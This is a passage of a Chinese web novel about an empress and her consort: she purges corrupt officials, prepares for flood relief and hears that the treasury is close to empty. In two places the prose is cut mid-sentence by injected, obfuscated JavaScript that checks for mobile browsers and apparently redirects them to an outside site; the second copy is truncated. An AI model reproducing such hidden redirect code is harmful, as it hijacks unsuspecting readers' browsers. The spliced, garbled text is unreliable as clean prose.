谢凤卿起身,最后深深地看了一眼她的臣子们,不再多言,转身,迈着依旧沉稳的步伐,走下御阶,从御座后的侧门离开了金銮殿。玄色的背影,挺拔如孤峰之松,渐渐消失在殿后深沉的光影里,只留下无尽的威仪与遐想。 萧御亦起身,向丹墀上御座方向躬身一礼,然后转身,步履从容地跟随而去。绛紫色的身影,很快也消失在侧门之后。 留下身后心思各异、久久难以平静的满朝文武。许多人仍跪在原地,望着空荡荡的御座和高耸的蟠龙金柱,心潮澎湃,难以自已。新帝第一次大朝会,在一种激荡、凝重、充满崭新希望与无形压力的氛围中,结束了。但它所开启的,是一个风云激荡、变革求新、充满无限可能与严峻挑战时代的序幕。每个人都知道,从今天起,大周朝堂,乃至整个天下,都将迎来一场深刻而持久的变革。而他们,都被裹挟在这历史的洪流之中,或顺势而起,或粉身碎骨。 三、御书房内·共理朝政 退朝之后,谢凤卿并未直接返回乾元宫休息,而是移驾御书房。尽管从清晨至今,她几乎未曾停歇,精神与体力消耗巨大,但深知此刻正是新政开局、百事待理的关键时刻,容不得半分松懈。许多朝议定下的事情,需要立即部署落实;许多奏报,需要即刻批阅;许多细节,需要与萧御及核心重臣商议敲定。 御书房位于乾清宫西侧,并非历代皇帝常用的那间位于乾清宫正殿后的书房,而是萧御提前命人按照谢凤卿的喜好与习惯重新精心布置过的。此处相对僻静,窗外可见一小片竹园,环境清幽。陈设简洁雅致,摒除了过多奢华浮夸的装饰。多宝阁上以经史子集、舆地图册、历年奏章汇编为主,点缀几件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17221470|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 古朴大气的青铜器和素雅瓷瓶,并无金银珠宝、奇巧玩物。临窗一张宽大的紫檀木书案,木质纹理优美,上面文房四宝齐备,皆是上品但不过分炫目,还摆着一盆开得正好、清香淡雅的水仙,为严肃的书房增添了一抹生机。书案后是宽大舒适的座椅,铺着柔软的明黄锦缎坐垫。座椅后方的墙壁上,挂着大幅的、绘制精细的大周疆域全图与边防态势图,另一侧墙上,则挂着她自己手书的一幅字——“事在人为”,笔力遒劲,锋芒内敛,却又透着一往无前的锐气,正是她性格与理想的写照。 谢凤卿很喜欢这里。相比于金銮殿的肃穆空旷、令人敬畏,也不同于乾元宫属于私人休憩的空间,御书房更让她感到自在、专注,这里是处理核心政务、思考重大决策、与心腹臣工商议机密的关键所在,是她真正行使帝王权力的“战场”。 她褪下那顶常服冠,交给侍立一旁的流云,只穿着那身玄色常服,在宽大的书案后坐下。立刻有内侍悄无声息地奉上一盏温度刚好的参茶。她接过白玉茶盏,浅浅啜了一口,温热微甘、带着参香的液体滑入喉中,稍稍缓解了些许长时间端坐说话带来的喉咙干涩与精神疲惫。她的目光,落在书案一侧堆积如山的奏章上——那是各地督抚、各部衙门、以及昨日大典后一些官员连夜递上来的贺表、请安折子,以及部分需要紧急处理的军情、灾情、**等奏报。像两座小小的山峰,无声地诉说着这个帝国每日需要处理的庞杂事务。 她没有立刻开始批阅,而是微微向后,靠在椅背上,闭上了眼睛。长长的睫毛在眼下投出淡淡的阴影。朝会上的一幕幕,官员们的表情、话语、反应、甚至那些细微的眼神变化,如同走马灯般在她脑海中快速回放、分析、归类。她在复盘,在梳理,在评估。哪些人是真心支持,哪些人是无奈跟随,哪些人暗藏心思;哪些事可以急办,哪些事宜缓行;哪些阻力可能来自何方,又该如何应对;今日的决策有哪些疏漏,后续又该如何补全……繁复的思绪如同精密仪器内部的齿轮,高速而有序地运转着。 “陛下,王爷到了。”高无庸轻手轻脚地进来,在离书案数步远的地方停下,压低声音禀报。他知道陛下需要安静思考,但王爷是特例。 “宣。”谢凤卿睁开眼,眸中那片刻的疲惫倦色已迅速被清明锐利所取代,仿佛刚刚只是闭目养神了一瞬。 萧御走了进来。他已换下了那身庄重正式的绛紫色亲王常服,穿着一身更为轻便舒适的月白色银丝暗纹团花常服,腰间束着同色丝绦,缀着一枚羊脂玉佩。这身打扮衬得他面如冠玉,气质清华,少了几分朝堂上的威严,多了几分闲适与俊雅。他手中拿着几份颜色、厚薄不一的卷宗,神色是从容沉静的,但眉宇间也带着一丝处理政务后的凝思。 第210章刘墉是块硬骨头 “臣,参见陛下。”萧御走到书案前数步,拱手行礼。在私下场合,尤其是这御书房内,礼仪可稍简,但他依旧恪守臣子本分,一丝不苟。 “免礼,坐。”谢凤卿指了指书案对面早已备好的一张紫檀木圈椅,那是特意为他准备的,位置距离恰到好处,既便于商议,又不会过于逼近御案,维持着君主的空间感。帝后共治,不仅是在朝堂上共同接受朝拜,更体现在日常政务的密切协作与共同决策中。 萧御谢过,在椅子上坐下,将手中卷宗放在书案一角,并未立即呈上。“陛下,朝会历时甚久,甚是辛劳。”他看着谢凤卿,眼中带着毫不掩饰的关切。虽然她掩饰得很好,但他能看出她眉宇间那一丝竭力隐藏的倦色,以及眼底下淡淡的青影。重伤初愈不久,又经历登基大典的繁冗和如此高强度、高消耗、高心力的朝会,便是铁打的人,也难免感到疲惫。何况,她还要时刻维持着帝王的威仪与冷静,不能有丝毫松懈。 “无妨。”谢凤卿摆摆手,语气平淡,目光落在他带来的那几份卷宗上,“这些是?” “是监察司与影卫,根据陛下今日朝会所议几件大事,整理的相关背景、线索与初步情报汇总。以及……”萧御的神色严肃起来,从最上面拿起一份加印了特殊火漆、封面无字的密卷,推到谢凤卿面前,“一份需要陛下尽早过目、定夺的名单与相关证据摘要。” 谢凤卿拿起那份密卷,触手微凉。她熟练地拆开独特的火漆封印,展开。卷宗并**,但上面的名字和后面附注的简要罪证、涉及金额、可疑关联等,却触目惊心。名单上约有二十余人,涉及六部中的中层官员、地方上的布政使、按察使乃至知府,甚至还有两名在京的勋贵子弟。贪墨数额从数万两到数十万两白银不等,更有与地方盐商、漕帮、矿主勾结,侵吞田产、垄断市场、草菅人命、甚至其中有两三人,后面标注了“与北漠部落有隐秘商贸往来(疑涉铁器、药材等违禁物)”、“与西南土司过往从密,馈赠颇厚”等字样,通敌**的嫌疑呼之欲出。而名单上靠前的几个名字,赫然与今日朝会上出言“劝谏”或神情有异、目光闪烁的官员,有所对应。 “动作很快。”谢凤卿淡淡道,指尖划过那些名字,听不出喜怒,但熟悉她如萧御,能感受到那平静下涌动的冰冷怒意。 “陛下昨日祭坛誓言,今日朝会定下反贪、清田之基调,有些人做贼心虚,坐不住了,或相互串联,或试图转移赃证,难免露出马脚。影卫和监察司只是顺藤摸瓜,有些是积年旧案,证据早已掌握,只待时机;有些是新发现的线索,正在深入追查。”萧御沉声道,声音平稳而冷冽,“陛下欲行新政,反贪清田是重中之重,是立威之基,亦是肃清吏治之刃。这些人,是必须拔除的钉子,是祭旗的对象,亦是杀鸡儆猴、震慑宵小的最佳选择。其中不少人,在地方盘踞多年,关系网复杂,是推行清丈田亩、核查税基的直接障碍。” 谢凤卿的手指最终停在名单上的一个名字上——江宁布政使,刘墉。正三品大员,封疆大吏,在江南富庶之地经营已逾五载,根基深厚。监察司查实,其在任期间,贪墨漕银、盐税、茶税、关税等各项税收累计超过四十万两;在江宁、苏州、松江等地,利用权势,巧取豪夺,强占民田、桑田、茶园数千亩;纵容家族子弟与当地豪强勾结,欺行霸市,垄断丝棉贸易,身上背着好几起被压下去的人命官司。更关键的是,卷宗上标注,有线索显示,刘墉与北境某些部落,有隐秘的商贸往来(走私铁器、药材、茶叶等朝廷明令禁止出关的物资),甚至其一名心腹师爷,曾酒后失言,疑似泄露过江南部分卫所的布防轮换情况。虽然直接证据尚不充分,但嫌疑极大。 “刘墉……”谢凤卿轻轻念出这个名字,眼中寒光一闪,如同雪夜中乍现的刀锋,“江宁乃国家财赋重地,鱼米之乡,漕运咽喉,竟被此等蠹虫盘踞多年,吸食民脂民膏,富可敌国,甚至可能通敌**!好,很好。”她的语气很平静,甚至可以说得上平淡,但萧御却能听出那平静冰面下压抑的、足以焚毁一切的怒火与凛冽杀意。江宁的重要性不言而喻,刘墉的罪行也堪称罄竹难书。 “刘墉是块硬骨头,在江南经营日久,门生故旧遍布官场,与当地盐商、漕帮、织造衙门关系盘根错节,据说每年送往京中各部乃至某些宗室勋贵处的‘冰敬’、‘炭敬’数额惊人。动他,阻力会非常大,也可能引起江南官场、商界的剧烈震动,甚至影响漕运税赋。”萧御冷静地分析着利弊,如同在推演沙盘,“但正因其是硬骨头,是江南贪腐集团的代表人物,若能一举拿下,办成铁案,明正典刑,其敲山震虎之效,也将最为显著。足以让天下贪官污吏胆寒,让那些还在观望、甚至意图对抗新政者看清陛下的决心与手腕,更可藉此整顿江南吏治,为后续清丈田亩、改革漕运盐政扫清障碍。” “朕要的就是这个效果。”谢凤卿合上名单,看向萧御,目光锐利如电,“证据目前可确凿?能否办成无可辩驳的铁案?尤其是通敌之嫌,需有实据,否则难以服众,反易授人以柄,说他‘蒙冤’。” “目前掌握的贪墨、强占民田、纵容亲属行凶等罪证,人证、物证、账册皆在,足以让他丢官罢职,抄家流放。但若要定其通敌叛国之死罪,尤其是涉及泄露军情这等重罪,确实还需更直接的证据,比如其与北漠来往的密信、具体经手人证、或……撬开他本人或其核心心腹的嘴。”萧御道,显然早已深思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢凤卿点点头,对他的能力自是百分百信任。她拿起萧御带来的另一份卷宗,是关于各地水利工程险情的详细汇总与工部应对方案的。“工部所奏,去岁北方雪灾深厚,今春开化加之雨水偏多,黄河下游开封段、淮河清江浦段、长江荆州段几处堤坝均有险情报告。 尤其是淮安府清江浦段,堤坝本就年久失修,去岁秋汛已有小范围溃口,虽经临时抢堵,但根基已损。今春雨水较往年多了三成,据淮安知府急报,目前水位已接近警戒线,且仍有上涨趋势,若再遇大雨,恐有决堤之患。一旦决堤,淮安、扬州乃至里下河地区,都将成一片**,百姓流离失所,漕运断绝,后果不堪设想。”她的眉头微微蹙起,显是为此忧心。 第211章派能臣,给实权,下死命令 天灾往往是人祸的放大器,也是对新朝执政能力的巨大考验。若处理不当,不仅百姓遭殃,生灵涂炭,刚通过朝会树立起来的威信也可能受损,甚至给反对新政者以口实。 “工部尚书已紧急从临近省府调拨部分木料、石块、麻袋等物料,并派了一名工部员外郎前往督办。但杯水车薪,且修缮加固堤坝非一日之功,需要大量人力物力,以及地方官员的全力配合调度。”萧御补充道,他显然也仔细看过这份报告,“而淮安知府赵德昌,能力平庸,且是刘墉的门生,平日唯刘墉马首是瞻。臣担心,他未必能尽心竭力组织防汛,甚至可能因刘墉之事心怀怨怼,或趁机在工程款项上做手脚,中饱私囊。此人,不足恃。” “撤了他。”谢凤卿毫不犹豫,提笔就在一份空白的特旨用笺上疾书,“即刻拟旨,淮安知府赵德昌,玩忽职守,治水不力,更有贪墨嫌疑,着即革职,锁拿进京,交刑部与都察院会审!着工部立即选派一名精通水利、干练有为的郎中或员外郎,持朕手谕,星夜兼程前往淮安,暂代知府之职,全权负责防汛抢险事宜,沿河州县皆听其调遣!所需银两,由户部从太仓库紧急拨付五万两;所需物料,工部协调江南各府全力支援,亦可向民间征购,按市价给付,不得强征!告诉前去的人,堤在人在,堤溃……他也不用回来了,朕亦当亲赴淮安,向百姓谢罪!” 她的话掷地有声,带着不容置疑的决断与背水一战的决心。关键时刻,必须用重典,派能臣,给实权,下死命令! “是。臣即刻去办,命六百里加急发出。”萧御记下要点。 “还有,”谢凤卿沉吟道,思虑周详,“传令漕运总督衙门,淮安段漕船全部暂避险段,绕行或停泊安全水域,务必保证漕运安全,同时漕兵需协助地方防汛抢险。再密令南直隶巡抚、临近的凤阳、扬州知府,暗中筹备船只、粮食、药材,做好一旦决堤,立即接纳、安置灾民的准备。此事需隐秘进行,以免引起恐慌,但必须切实准备。希望用不上,但不得不防。凡事预则立,不预则废。” “陛下思虑周全,未雨绸缪,臣不及。”萧御由衷赞道。这位女帝,于细微处见真章,既有雷霆手段处置庸官贪吏,亦有未雨绸缪的仁心与缜密安排,实乃社稷之福。 接下来,两人又就北境边防的兵力调整、粮草储备,女学推广的具体步骤、师资选拔、教材编纂,科举改制中如何平衡经学与实务策论,如何防止新的舞弊等实际问题,深入交换了意见。萧御久在朝堂,又曾长期监国,还执掌过军权,对各项事务的细节、关窍、潜在阻力以及可用人选都了如指掌,他的建议往往能切中要害,弥补谢凤卿某些方面(如对具体某些官员能力的了解、某些旧例的渊源)的不足。而谢凤卿高屋建瓴的视野、坚定不移的决心、务实的作风以及偶尔提出的新颖思路,也给了萧御明确的方向和强大的支持,有时甚至能启发他新的想法。 他们并非简单的君臣奏对,一问一答;更像是两位最高决策者、最亲密盟友之间的战略研讨会。时而凝神思索,时而快速低声交谈,时而起身查阅墙上的巨幅地图,时而在纸上勾画批注,时而就某个细节反复推敲。阳光透过精致的雕花窗棂,在光洁的书案上投下明明暗暗的光影,悄无声息地移动,不知不觉,已从上午移近午时。 流云悄无声息地进来换过两次热茶,添过一次安神的苏合香,又静静地退下,全程低眉垂目,脚步轻得几乎听不见,不敢有丝毫打扰。 其间,户部尚书周文康、刑部尚书、新任“清账司”的主事等人,先后被高无庸引着,悄声进入御书房,就大赦诏的具体细则条款、反贪案件的具体侦办人选与步骤、清田司的人员调配与先从何处入手等事,进行简短的当面奏报与请示。谢凤卿一一给予明确指示,萧御从旁补充细节或提醒注意事项,效率极高。这些核心官员领命后,皆神色肃穆、步履匆匆地退下,显然都感受到了肩上重任与紧迫的时限。 当最后一份需要当日紧急批复的奏章处理完毕,窗外天色已然昏暗下来,暮色四合,宫灯次第亮起,昏黄温暖的光芒透过窗纸,与书房内明亮的烛光交织在一起。 谢凤卿终于放下手中那支批阅了无数奏章、墨迹犹新的朱笔,轻轻活动了一下有些僵硬发酸的手腕和脖颈。整整一日,从卯时三刻起身至今,她几乎未曾有片刻真正的停歇。登基大典的余韵,第一次朝会的紧张较量,御书房内高强度的心力消耗与决策……纵然她意志坚韧如铁,此刻也感到了从身体到心神的深深疲惫,尤其是太阳穴处隐隐的胀痛,提醒着她这具身体尚未完全从去岁的重伤中彻底恢复。 萧御早已处理完手头影卫与监察司的急务,一直在旁默默陪伴,适时为她续上温度刚好的热茶,或递上她需要参考的卷宗地图,或在她凝神批阅时,悄然将烛台移近些。见她终于停下笔,眉宇间流露出掩不住的倦色,他起身走到她身后,极为自然地伸出手,力道适中、手法熟稔地为她揉按着紧绷的肩颈穴位。 他的手指修长有力,带着干燥的温热,精准地按在她后颈和肩胛处几个酸胀的穴位上,带来一阵舒爽的放松感。谢凤卿身体先是几不可察地微微一僵——这是多年身处危险环境养成的本能戒备,但随即嗅到他身上那令人安心的清冽气息,便彻底放松下来,顺从地闭上双眼,将头微微后仰,靠在他坚实的小臂上,任由他伺候。这种亲密而不逾矩、带着呵护意味的触碰,在极度疲惫与精神紧绷之后,显得格外珍贵与慰藉。 “累了?”萧御的声音在她耳畔响起,低沉温柔,带着毫不掩饰的心疼。 “嗯。”谢凤卿没有否认,轻轻地、带着鼻音应了一声。在他面前,她无需总是强撑着帝王的威仪与无懈可击,可以偶尔流露出属于“谢凤卿”这个人的真实疲惫与脆弱。 “剩下的都是贺表与寻常奏事,明日再看也不迟。陛下该歇息了,先用晚膳吧。”萧御柔声道,手上的动作未停,力道拿捏得恰到好处。 谢凤卿闭着眼,沉默了片刻,忽然问道,声音带着一丝不易察觉的飘忽:“萧御,你说,朕今日所为,是对是错?是否……太过急切,锋芒过露?”这是她登基以来,第一次在决策之后,对最信任的人流露出些许不确定与自省。并非怀疑自己设定的目标与方向,而是审视策略的节奏、力度与可能引发的连锁反应。毕竟,她面对的是一个积弊百年、盘根错节、牵一发而动全身的庞大帝国,稍有不慎,便可能引发难以预料的动荡。 萧御按摩的动作顿了顿,随即更加轻柔而坚定,仿佛要将自己的力量与信心传递给她。“陛下何出此言?陛下今日所为,皆是深思熟虑、切中时弊、利国利民之举。大赦以安民,求言以开道,反贪以立威,清田以固本,防灾以未然……桩桩件件,皆为新朝奠基,为盛世铺路,堂堂正正,无可指摘。或许雷霆手段,会让一些习惯了因循苟且、浑水摸鱼之人一时不适,甚至暗中反弹,但长痛不如短痛,腐朽的枝叶若不狠心修剪,新芽如何萌发?积弊若不强力破除,新政如何推行?” 他微微俯身,声音压得更低,却更显郑重:“臣知陛下所虑,是怕操之过急,反生祸乱,令新政受挫。然,以我大周目前之内忧外患、积贫积弱之势,内有贪腐横行、吏治不清、财政拮据,外有戎狄环伺、边关不宁,实已容不得太多优柔徘徊、渐进改良。陛下以女子之身登基,本就面临更多质疑、轻蔑与无形的阻力,若不能迅速打开局面,以无可辩驳的实绩与铁腕树立威信,巩固权位,则日后推行任何新政,都将步履维艰,事倍功半。今日朝会,陛下已向天下展示了超越性别的睿智、魄力与治国方略,接下来,只要我等君臣同心,步步为营,举措得当,纵有波澜,亦在可控之中。臣,愿永为陛下手中最利之剑,身后最坚之盾,与陛下共担一切风雨,共赴所有艰难!” 他的话,沉稳有力,如同定海神针,又似一道暖流,注入谢凤卿有些疲惫和微凉的心田。她知道,他不仅仅是安慰,更是基于对朝局深刻洞察、对人性精准把握、对历史经验总结后的冷静判断。有他在,有他毫无保留、不计得失的支持与谋划,她确实觉得肩头那仿佛压着山河的重担,似乎被分担了一些,变得可以承受。 第212章永远不会只满足于高居庙堂 “朕知道了。”她轻声道,缓缓睁开眼,眸中虽然疲惫未散,却重新凝聚起澄澈而坚定的光芒,如同被拭去尘埃的星辰,“开弓没有回头箭。既然选择了这条路,踏上了这至高之位,朕就会走下去,一直走下去,直到……亲眼看到那个海晏河清、国强民富的盛世,直到无愧于天地,无愧于百姓,亦无愧于己心。” “臣,与陛下同行。”萧御停下按摩,转到她身前,单膝蹲下,这个姿势让他能微微仰视着她。他伸手,轻轻握住她放在膝上、有些冰凉的手,用自己温热的掌心包裹住,目光虔诚而炽热,如同仰望信仰,“无论前路是盛世坦途,还是荆棘密布;无论未来是晴空万里,还是风雨如晦,臣都会在陛下身边,一尺之地,生死相随,永不相负。” 他的手温暖而干燥,带着常年习武留下的薄茧,却奇异地让她感到安心。四目相对,无言的情感在静谧的御书房内静静流淌,烛火噼啪,映照着两人眼中倒映的彼此。他们是君臣,是天下最尊贵的夫妻,更是志同道合、生死与共、灵魂相契的盟友。这份复杂而深刻的情感,是支撑他们面对未来一切明枪暗箭、艰难险阻的最强力量,也是这冰冷皇权中,唯一真实可触的温暖。 “起来吧。”谢凤卿反手,轻轻回握了一下他的手,唇角微微漾开一丝极淡、却真实而柔软的笑意,如同冰河解冻,春水初生,“传膳吧。今日,就在这御书房用晚膳。稍后……”她顿了顿,看向窗外渐浓的夜色,眼中闪过一丝决断,“你陪朕更衣,我们出宫一趟。” 萧御起身,眼中带着询问。 “去京郊,朕想去看看,奏章里提到的,那处新设的、由几位致仕女官牵头筹办的‘慈惠女塾’。朕想亲眼看看,新政的种子,是否真的能在泥土中生根发芽;朕想亲耳听听,民间的声音。”谢凤卿的目光投向窗外无边的夜色,仿佛要穿透宫墙,看到那真实的人间烟火。 她想看看,她今日在朝堂上挥下的“事在人为”之笔,究竟能在世间画出怎样的轨迹。 “是,陛下。”萧御眼中闪过温柔与了然的笑意,立刻明白了她的心意。这位君王,永远不会只满足于高居庙堂,发号施令。 帝后共治的第一日,在繁重却高效的政务、温馨而坚定的相互扶持、以及对民间疾苦的深切关注中,即将度过。而关于“大赦天下”、“求言纳谏”的诏书,经过内阁与相关衙门的连夜完善,加盖皇帝传国玉玺与监国亲王金印后,已由信使以最快速度发出,即将如春风般,拂过大周的每一个角落,宣告着一个全新时代的正式来临,也带来新帝登基后的第一份浩荡皇恩与崭新希望。 夜色渐深,宫灯璀璨,而属于“凤翔”的故事,才刚刚开始。 凤翔元年,三月十五。 时值仲春,京城的料峭春寒已彻底褪尽,取而代之的是一种温润绵软的暖意。风从御花园的方向吹来,裹挟着早桃的甜香、玉兰的清冽、连翘的明媚,还有新翻泥土湿润的气息,温柔地拂过朱红宫墙高耸的檐角与熠熠生辉的琉璃瓦。阳光明媚而不炽烈,金子般流淌下来,透过乾元宫寝殿半开的、雕刻着繁复缠枝莲纹的紫檀木长窗,在光洁如镜、可鉴人影的金砖地面上,投下了一片片斑驳跳跃、不断变幻的光影。细小的金色微尘在光柱中无声浮沉,仿若时光碎屑,平添几分静谧。 然而,这深宫内苑春日的宁和暖意,却丝毫未能渗入寝殿内那几乎凝为实质的凝重氛围。空气像是被无形的寒冰冻结了,连窗外隐约的鸟鸣都显得遥远而不真实。 谢凤卿端坐于临窗的紫檀木嵌云石大书案后,身上只着一件月白色绣银丝暗云纹的软绸常服,宽大的衣袖如水般垂落,露出一截白皙纤瘦的手腕。如墨的青丝并未如常朝时那般高高绾起,只是松松地挽了个简单的髻,以一根通体无瑕的羊脂玉簪固定,几缕未来得及拢起的碎发,柔软地垂落在她线条优美的颈侧,随着她低头的动作轻轻晃动。她低垂着眼眸,浓密卷翘的睫毛在眼下投出两弯浅浅的扇形阴影,如同栖息的黑蝶,恰好遮住了眸底深处翻涌的、冰冷而锐利的思绪。 她的面前,摊开着数份墨迹犹新、厚度惊人的奏章与账册,朱笔搁在青玉笔山上,笔尖那点艳红如血的朱砂早已干涸凝结,如同某种不祥的预兆。奏章上的字迹密密麻麻,数字触目惊心,像一条条冰冷的毒蛇,缠绕着她的视线,也勒紧了她的呼吸。 萧御坐在她对面稍侧一些的位置,同样穿着简便的靂青色云纹常服,腰间未佩玉,只系着同色丝绦。他坐姿依旧挺拔,但眉宇间却锁着一团与窗外明媚春色格格不入的沉郁,仿佛压着千钧重担。他手中紧紧攥着一份刚刚由户部加急递入、封面打着猩红“急”字火漆的奏报,指节因用力而微微泛白,手背上的青筋都隐约浮现。 鎏金蟠龙香炉中,价值千金的龙涎香静静燃烧,吐出袅袅青烟,那醇厚宁神、带着异域神秘感的香气,原本最能安抚心神,此刻却仿佛失去了效力,只余下沉甸甸的、令人窒息的压迫感,混合着纸张与墨汁的味道,弥漫在宽阔寝殿的每一寸空气里。香头偶尔发出极细微的“噼啪”声,在这片死寂中,竟显得清晰可闻,如同某种倒计时的轻响。 良久,久到窗外日影又悄悄偏移了寸许,谢凤卿才缓缓抬起眼。她的目光并未首先落在萧御脸上,而是越过他,定定地落在他手中那份仿佛重若千钧的奏报上,声音平静无波,甚至听不出什么情绪,却像冰层下暗涌的、足以吞噬一切的寒流,冷冷地吐出两个字: “念。” 萧御的喉结几不可察地滚动了一下。他深吸一口气,像是要积蓄足够的力量来面对即将宣之于口的残酷现实,然后才展开那份仿佛烫手的奏报。他的声音低沉,带着一丝竭力压抑的沙哑,在寂静的寝殿中一字一句地响起,每一个字都像是冰棱砸在地面: “臣,户部尚书周文康,惶惧战栗,冒死泣血上奏陛下:自凤翔元年正月,陛下顺天应人,荣登大宝,颁行新政以来,大赦天下,万民称颂,咸感圣德;反贪肃纪,朝野震慑,宵小敛迹;清丈田亩,厘定税基,已初见成效;裁汰中央及地方各衙门冗员共计一千七百余人,岁省俸禄、禄米等项,折银四十七万两有奇;削减宫廷一应用度,岁省银十五万两;暂停或延缓各地非紧急必需之宫殿、园林、陵寝等修建工程二十九处,岁省银预估逾百万两……此皆陛下英明决断,臣等奉行之力也。” 他念到这里,略微停顿,抬眸极快地看了一眼谢凤卿。她依旧面无表情,只是那搭在紫檀木案沿上的、纤细如玉笋般的手指,微微向内收拢了些许。 萧御心下一沉,继续念道,语气越发沉重,如同负着巨石前行:“然,陛下,国库岁入,仍入不敷出,寅吃卯粮,且有加剧恶化之势,臣……臣实无能,愧对圣恩!” “去岁,即先帝末年,国库实收银一千二百余万两,粮八百万石。此已为历年最低。今岁,即凤翔元年,各项预算,北境、辽东、西北等处边防、各地卫所军饷、文武百官俸禄、河工水利修缮、各地常平仓补备及赈灾预备、官学开支、驿站漕运维持等项,经臣与各部再三核减,最低亦需银一千八百万两,粮一千万石,方可维持朝廷基本运转及边防不致有失。” “开源诸策,清丈田亩,追缴历年积欠田赋,若推行顺利,预计今年可追缴、新增银一百五十万两左右;鼓励工商,降低市舶关税,整顿国内商税,取消杂捐,若商路畅通,吏治清明,岁入或可增五十万两;然,推广新式织机、农具,提高产出,需朝廷先期投入,见效尚需时日;放开盐、铁、茶等专卖,试行‘官督商办’,目前仅在局部试点,摸索经验,且阻力巨大,缓不济急。” “更兼,去岁北境与戎狄战事连绵,耗费军资巨万;今岁开春,淮安、河南、山东等地雨水异常,水患频发,堤坝告急,赈济灾民、抢修河工,已紧急拨付太仓银八十万两,然缺口仍大,后续所需,尚难预估。而国库存银,”萧御的声音到这里,几乎是一字一顿,带着难以言喻的艰涩,“经清点,截至昨日,实存银已不足三百万两,存粮仅四百余万石。若再无切实有效之开源良策,以目前消耗速度,至多……至多支撑到今岁夏粮征收之前,国库……将彻底空虚!太仓银库,恐见老鼠,粮仓或将跑马!” 第213章需刮骨疗毒 最后几句,他几乎是咬着牙念完。话音落下,寝殿内陷入了比之前更深、更冷的死寂。窗外明媚的春光,此刻仿佛成了绝妙的讽刺。 “砰!” 一声闷响,骤然打破寂静!是谢凤卿的手掌,重重地、毫无预警地拍在了坚硬冰冷的紫檀木书案上。力道之大,震得青玉笔山上的朱笔猛地一跳,险些滚落;震得白玉镇纸下的奏章纸张哗啦作响;更震得侍立在不远处、早已吓得魂不附体的流云和高无庸浑身一颤,险些惊呼出声,慌忙将头埋得更低,恨不能将自己缩成透明。 谢凤卿的脸色,在那一掌之后,反而褪去了最后一丝血色,呈现出一种近乎透明的苍白,像是上好的细瓷,冰冷而易碎。但那双抬起的、寒星般的眸子里,却迸射出骇人的、近乎实质的冷光,如同极北冰原上万古不化的坚冰骤然炸裂,又像深藏于九幽的利刃骤然出鞘,饮血的锋芒刺得人眼球生疼。 “不足……三百万两……支撑到……夏粮之前……”她一字一顿地、缓慢地重复着这几个字,每个字都像是从齿缝间、从冰窟深处,被硬生生地挤出来,带着凛冽刺骨的寒意,与一种濒临爆裂的、被极力压抑的暴怒,“也就是说,若今夏江淮、湖广粮产区再有风雨不调,略有歉收;或北境戎狄狼子野心不死,边关再生烽火;或哪里河道再次决口,瘟疫流行……朝廷就连开仓赈灾的钱粮都拿不出了?甚至连京城文武百官的俸禄、戍边数十万将士的粮饷,都要开始拖欠?” 她的声音并不高,甚至比刚才更平静了些,但那份平静之下蕴含的惊涛骇浪,却让萧御的心狠狠一揪。他沉默地、沉重地点了点头,脸色同样难看到了极点。他执掌影卫,监察天下,对各地的灾情、边关的动向、乃至官场民间的暗流并非不知,但由户部汇总,将这一切转化为最冷酷无情的数字,白纸黑字、鲜血淋漓地摆到御前,那份赤裸裸的、关乎国本存亡的冲击力,依然远超想象。这不仅仅是钱粮的问题,这是悬在“凤翔”新朝头顶、悬在她刚刚稳固的帝位之上、最锋利的一柄达摩克利斯之剑!随时可能落下,斩断所有希望。 “好,很好。”谢凤卿忽地低低笑了起来,那笑声短促,冰冷,没有丝毫温度,反而透出一种近乎残酷的冷静,与深切的荒谬感,“朕登基不过两月余,夙兴夜寐,反贪、清田、裁冗、节流,桩桩件件,哪一样不是得罪人、淌着血在推进?到头来,国库非但没有充盈,反而更快地见了底?周文康给朕画的‘开源’大饼,就开出这么个结果?每年近两千万两的巨额缺口,他让朕去何处变出来?去抢吗?还是去求?” 她的声音依旧不高,却带着雷霆将至前那种低沉到令人心悸的气压,让侍立一旁的流云和高无庸不由自主地又打了个寒颤,将头垂得几乎贴到胸口,屏住呼吸,恨不能立刻缩进地缝里消失。 “陛下息怒。”萧御沉声道,将那份沉重的奏报轻轻放在书案上,发出一声轻微的闷响。他抬起眼,目光坚定地迎向谢凤卿冰寒的视线,“周尚书已竭尽所能,连日操劳,形销骨立。然积弊太深,如病人沉疴,非寻常汤药可医。清丈田亩,触及利益根本,阻力重重,在江南、湖广、四川等地,甚至爆发了多起被地方豪强煽动、裹挟无知乡民参与的骚乱,虽然已被当地驻军与监察司联手镇压下去,为首者伏法,但清丈进度已大大拖延,追缴的历年积欠与隐田税款,亦远不如预期。鼓励工商、整顿商税,非一朝一夕之功,且地方官吏阳奉阴违、盘剥依旧,甚至变本加厉,商民观望恐惧,市面反见萧条,税收自然不显。至于盐铁茶专卖试行……” 他顿了顿,叹了口气,眉宇间染上深深的疲惫与凝重:“阻力更大。盐商、铁商、茶商,经营数代,利益盘根错节,与地方官员、胥吏、乃至京中某些勋贵、部堂高官,关系千丝万缕,早已结成铁板一块。试行地区,官营的盐场屡遭‘意外’破坏,新式炼铁炉被暗中捣毁,茶山被纵火;招标选出的新商,受到旧商联合打压,货源被断,铺面被砸,甚至家人安全受到威胁。目前试点不仅未能盈利,反而因维护秩序、平息事端、补偿新商损失而持续亏损,户部已垫付不少银两。” 他每说一句,谢凤卿眼中的寒冰就厚一分,周围的空气就更冷一分。 